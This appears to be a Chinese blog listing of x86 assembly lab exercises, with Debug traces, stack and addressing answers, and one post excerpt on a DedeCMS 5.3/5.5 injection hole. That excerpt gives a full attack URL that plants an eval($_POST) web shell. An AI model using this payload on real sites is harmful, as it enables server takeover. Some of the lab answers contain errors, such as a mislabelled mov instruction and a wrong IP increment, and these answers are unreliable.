(1) 将下面的程序保存为t1.asm文件,将其生成可执行文件t1.exe。
- assume cs:codesg
-
- codesg segment
- mov ax,2000H
- mov ss,ax
- mov sp,0
- add sp,10
- pop ax
- pop bx
- push ax
- push bx
- pop ax
- pop bx
- mov ax,4c00H
- int 21H
-
- codesg ends
-
- end
(2) 用Debug跟踪t1.exe的执行过程,写出每一步执行后,相关寄存器中的内容和栈顶的内容。
(3) PSPR头两个字节是CD 20,用Debug加载t1.exe,查看PSP的内容。
输入命令:
debug t1.exe
d ds:0 ff
(1) 使用Debug,将下面的程序段写入内存,逐条执行,根据指令执行后的实际运行情况填空。
mov ax,ffff
mov ds,ax
mov ax,2200
mov ss,ax
mov sp,0100
mov ax,[0] ;ax=5BEA
add ax,[2] ;ax=5CCA
mov bx,[4] ;bx=30F0
add bx,[6] ;bx=6021
push ax ;sp=00FE; 修改的内存单元地址是220FE内容为5CCA
push bx ;sp=00FC; 修改的内存单元地址是220FC内容为6021
pop ax ;sp=00FE; ax=6021
pop bx ;sp=0100; bx=5CCA
push [4] ;sp=00FE; 修改的内存单元地址是220FE内容为30F0
push [6] ;sp=00FC; 修改的内存单元地址是220FC内容为2F31
(2) 仔细观察图3.19中的实验过程,然后分析:为什么2000:0~2000:f中的内容会发生改变?
可能要再做些实验才能发现其中的规律。如果你在这里就正确回答了这个问题,那么要恭喜你,因为你有很好的悟性。大多数的学习者对这个问题还是比较迷惑的,不过不要紧,因为随着课程的进行,这个问题的答案将逐渐变得显而易见。

图3.19 用Debug进行的实验
(1) 补全下面的程序,使其可以将10000H~1000FH中的8个字,逆序复制到20000H~2000FH中。逆序复制的含义如图3.17所示(图中内存里的数据均为假设)。

图3.17 逆序复制示意图
mov ax, 1000H
mov ds, ax
mov ax, 2000H
mov ss, ax
mov sp, 0010H
push [0]
push [2]
push [4]
push [6]
push [8]
push [A]
push [C]
push [E]
(2) 补全下面的程序,使其可以将 10000H~1000FH 中的8个字,逆序复制到20000H~2000FH中。
mov ax, 2000H
mov ds, ax
mov ax, 1000H
mov ss, ax
mov sp, 0000H
pop [E]
pop [C]
pop [A]
pop [8]
pop [6]
pop [4]
pop [2]
pop [0]
dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。
假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见以下错误信息

注入成功
阅读全文…
(1) 在Debug中,用户”d 0:0 1F” 查看内存,结果如下。
0000:0000 70 80 F0 30 EF 60 30 E2-00 80 12 66 20 22 60
0000:0010 62 26 E6 D6 CC 2E 3C 3B-AB BA 00 00 26 06 66 88
下面的程序执行前,AX=0,BX=0,写出每条汇编指令执行后相关寄存器中的值。
阅读全文…
2.实验任务
(1)使用Debug,将下面的程序段写入内存,逐条执行,观察每条指令执行后,CPU中相关寄存器中内容的变化。
注意在进入debug模式时 AX 和 BX 的初始数据为 0000H
机器码 汇编指令
b8 20 4e mov ax,4E20H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX=4E20H
05 16 14 add ax,1416H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX=6236H
bb 00 20 mov ax,2000H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX =2000H
01 d8 add ax,bx 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2000H,BX=0000H
89 c3 mov bx,ax 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2000H,BX=2000H
01 d8 add ax,bx 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=4000H,BX=2000H
b8 1a 00 mov ax,001AH 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=001AH,BX=2000H
bb 26 00 mov bx,0026H 使用T命令读入指令后 IP = IP + 3 执行指令后 AX=001AH,BX=0026H
00 d8 add al,bl 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0040H,BX=0026H
00 dc add ah,bl 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2640H,BX=0026H
00 c7 add bh,al 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=2640H,BX=4026H
b4 00 mov ah,0 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0040H,BX=4026H
00 d8 add al,bl 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0066H,BX=4026H
04 9c add al,9CH 使用T命令读入指令后 IP = IP + 2 执行指令后 AX=0002H,BX=4026H
注意,以上结果是102H,担al是8位寄存器,高位1不能存放在al中
提示,可用E命令和A命令以两种方式将将指令写入内存。注意用T命令执行时,CS:IP的指向。
阅读全文…
下面的3条指令执行后,CPU几次修改IP??都是在什么时候?最后IP中的值是多少?
mov ax, bx
sub ax, ax
jmp ax
指令序列:
mov ax, bx 读取这个指令进入指令缓冲器后第一次修改IP,IP = IP + 2; 执行后 ax = bx;
sub ax, ax 读取这个指令进入指令缓冲器后第二次修改IP,IP = IP + 2; 执行后 ax = 0000H;
jmp ax 读取这个指令进入指令缓冲器后第三次修改IP, IP = IP + 2; 指令执行后第四次修改IP,IP = 0000H;
阅读全文…
知识点:
偏移地址16位,变化范围为0~FFFFH
基础地址(段地址X16)+偏移地址=物理地址
基础地址必须是16的倍数
16是十进制数据对应的十六进制数据是10H
(1) 给定段地址为0001H,仅通过变化偏移地址寻址,CPU的寻址范围为____到____。
计算公式:
0001H X 16 + 0000H = 0010H
0001H X 16 + FFFFH = 1000FH
CPU的寻址范围为 00010H 到 1000FH
(2) 有一数据存放在内存 20000H 单元中,现给定地址为 SA,若想用偏移地址寻到此单元。则SA应满足的条件是:最小为_____,最大为______________。
提示,反过来思考一下,当段地址给定为多少,CPU无论怎么变化偏移地址都无法寻到20000H单元?
阅读全文…